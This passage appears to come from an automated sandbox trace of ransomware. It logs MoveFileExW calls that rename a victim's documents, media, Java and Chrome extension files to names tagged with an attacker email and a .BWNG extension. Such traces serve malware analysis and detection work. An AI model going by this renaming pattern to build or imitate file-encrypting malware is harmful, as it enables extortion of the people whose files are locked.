(x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].XHO2Zfbf-JUuFsjvK.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].xho2zfbf-juufsjvk.bwng"), dwFlags=0x1) returned 1 [0126.945] GetTickCount () returned 0x11674b3 [0126.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26889687489) returned 1 [0126.945] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightitalic.ttf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].BYtBWkv4-rOQ8UtEt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].bytbwkv4-roq8utet.bwng"), dwFlags=0x1) returned 1 [0126.947] GetTickCount () returned 0x11674b3 [0126.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26889892558) returned 1 [0126.947] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].2lbywWEL-fd1iFiyT.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].2lbywwel-fd1ifiyt.bwng"), dwFlags=0x1) returned 1 [0126.949] GetTickCount () returned 0x11674b3 [0126.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26890099786) returned 1 [0126.949] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xeBrd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xebrd.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].GlyhYSir-NOJOU78J.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].glyhysir-nojou78j.bwng"), dwFlags=0x1) returned 1 [0126.950] GetTickCount () returned 0x11674b3 [0126.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26890212009) returned 1 [0126.950] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].f1NHA7Su-fvPlbr8p.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].f1nha7su-fvplbr8p.bwng"), dwFlags=0x1) returned 1 [0126.951] GetTickCount () returned 0x11674b3 [0126.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26890372928) returned 1 [0126.952] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\meta-index"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].qPb3AWDH-Z5rfntXP.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].qpb3awdh-z5rfntxp.bwng"), dwFlags=0x1) returned 1 [0127.278] GetTickCount () returned 0x11675fb [0127.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26923040226) returned 1 [0127.279] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\eGHU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\eghu.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\[billwong73@yahoo.com].KqXqFBVW-soBDCuOl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\[billwong73@yahoo.com].kqxqfbvw-sobdcuol.bwng"), dwFlags=0x1) returned 1 [0127.281] GetTickCount () returned 0x11675fb [0127.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26923435062) returned 1 [0127.282] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\M kOWd2vSyzq.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\m kowd2vsyzq.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\[billwong73@yahoo.com].fKoqCFA8-2toEXgf6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\[billwong73@yahoo.com].fkoqcfa8-2toexgf6.bwng"), dwFlags=0x1) returned 1 [0127.284] GetTickCount () returned 0x116760b [0127.284] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26923671181) returned 1 [0127.285] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\[billwong73@yahoo.com].GOWPCIyf-Q2X9IoaG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\[billwong73@yahoo.com].gowpciyf-q2x9ioag.bwng"), dwFlags=0x1) returned 1 [0127.287] GetTickCount () returned 0x116760b [0127.287] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26923890590) returned 1 [0127.287] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Ms82WP3AaqdO8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ms82wp3aaqdo8.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].GpRm7pzR-lXo2b8vV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].gprm7pzr-lxo2b8vv.bwng"), dwFlags=0x1) returned 1 [0127.288] GetTickCount () returned 0x116760b [0127.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26924060387) returned 1 [0127.289] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\MsHqbagz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\mshqbagz.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].zvbiUsXd-V61Sk8LD.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].zvbiusxd-v61sk8ld.bwng"), dwFlags=0x1) returned 1 [0127.290] GetTickCount () returned 0x116760b [0127.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26924248029) returned 1 [0127.291] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\EjRsn6MDSID.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\ejrsn6mdsid.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].X3qCPiAe-qZ9dU2ni.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].x3qcpiae-qz9du2ni.bwng"), dwFlags=0x1) returned 1 [0127.292] GetTickCount () returned 0x116760b [0127.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26924410913) returned 1 [0127.292] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].iMtnwGUM-BVcksZJi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].imtnwgum-bvckszji.bwng"), dwFlags=0x1) returned 1 [0127.294] GetTickCount () returned 0x116760b [0127.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26924637811) returned 1 [0127.294] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\[billwong73@yahoo.com].1w5g1czm-AaqqpF7Y.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\[billwong73@yahoo.com].1w5g1czm-aaqqpf7y.bwng"), dwFlags=0x1) returned 1 [0127.296] GetTickCount () returned 0x116760b [0127.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26924828566) returned 1 [0127.296] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\[billwong73@yahoo.com].7CJkHn2C-KgbPpwin.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\[billwong73@yahoo.com].7cjkhn2c-kgbppwin.bwng"), dwFlags=0x1) returned 1 [0127.298] GetTickCount () returned 0x116761a [0127.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26925023115) returned 1 [0127.298] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\[billwong73@yahoo.com].GV9CtlDB-aQ7NjKzm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\[billwong73@yahoo.com].gv9ctldb-aq7njkzm.bwng"), dwFlags=0x1) returned 1 [0127.299] GetTickCount () returned 0x116761a [0127.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26925173177) returned 1 [0127.300] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\[billwong73@yahoo.com].mjh0rHjF-gY2xsCeM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\[billwong73@yahoo.com].mjh0rhjf-gy2xscem.bwng"), dwFlags=0x1) returned 1 [0127.301] GetTickCount () returned 0x116761a [0127.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26925343126) returned 1 [0127.301] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\[billwong73@yahoo.com].tMwXwdfJ-oR7TtrJ7.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\[billwong73@yahoo.com].tmwxwdfj-or7ttrj7.bwng"), dwFlags=0x1) returned 1 [0127.303] GetTickCount () returned 0x116761a [0127.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26925489160) returned 1 [0127.303] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\[billwong73@yahoo.com].S3Q0DQr3-RCTvlPxE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\[billwong73@yahoo.com].s3q0dqr3-rctvlpxe.bwng"), dwFlags=0x1) returned 1 [0127.304] GetTickCount () returned 0x116761a [0127.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26925640148) returned 1 [0127.304] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\[billwong73@yahoo.com].uwUo9Rny-hv43eYR5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\[billwong73@yahoo.com].uwuo9rny-hv43eyr5.bwng"), dwFlags=0x1) returned 1 [0127.306] GetTickCount () returned 0x116761a [0127.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26925817288) returned 1 [0127.306] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].q3krotFX-ay1hyGrT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].q3krotfx-ay1hygrt.bwng"), dwFlags=0x1) returned 1 [0127.307] GetTickCount () returned 0x116761a [0127.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26925969618) returned 1 [0127.308] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\[billwong73@yahoo.com].aRrHPxTJ-6g2Dgew6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\[billwong73@yahoo.com].arrhpxtj-6g2dgew6.bwng"), dwFlags=0x1) returned 1 [0127.309] GetTickCount () returned 0x116761a [0127.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26926159818) returned 1 [0127.310] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\[billwong73@yahoo.com].yEpncCtY-7cA4FDBh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\[billwong73@yahoo.com].yepnccty-7ca4fdbh.bwng"), dwFlags=0x1) returned 1 [0127.311] GetTickCount () returned 0x116761a [0127.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26926583148) returned 1 [0127.702] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\[billwong73@yahoo.com].RmRUmHaC-eQ6HrhsS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\[billwong73@yahoo.com].rmrumhac-eq6hrhss.bwng"), dwFlags=0x1) returned 1 [0127.705] GetTickCount () returned 0x11677b0 [0127.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26965855425) returned 1 [0127.707] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\[billwong73@yahoo.com].BcRPVo8a-Vj619JxM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\[billwong73@yahoo.com].bcrpvo8a-vj619jxm.bwng"), dwFlags=0x1) returned 1 [0127.709] GetTickCount () returned 0x11677b0 [0127.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26966096337) returned 1 [0127.709] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\[billwong73@yahoo.com].aYoGrT5I-Y7zdp4GE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\[billwong73@yahoo.com].ayogrt5i-y7zdp4ge.bwng"), dwFlags=0x1) returned 1 [0127.715] GetTickCount () returned 0x11677b0 [0127.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26966703571) returned 1 [0127.715] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\[billwong73@yahoo.com].WsLT8DaO-bbFUI42W.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\[billwong73@yahoo.com].wslt8dao-bbfui42w.bwng"), dwFlags=0x1) returned 1 [0127.717] GetTickCount () returned 0x11677b0 [0127.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26966914844) returned 1 [0127.717] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\[billwong73@yahoo.com].pLylOH7l-VLX42uas.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\[billwong73@yahoo.com].plyloh7l-vlx42uas.bwng"), dwFlags=0x1) returned 1 [0127.719] GetTickCount () returned 0x11677c0 [0127.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26967130054) returned 1 [0127.719] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\[billwong73@yahoo.com].bZ0TSyZB-HKox9hcP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js 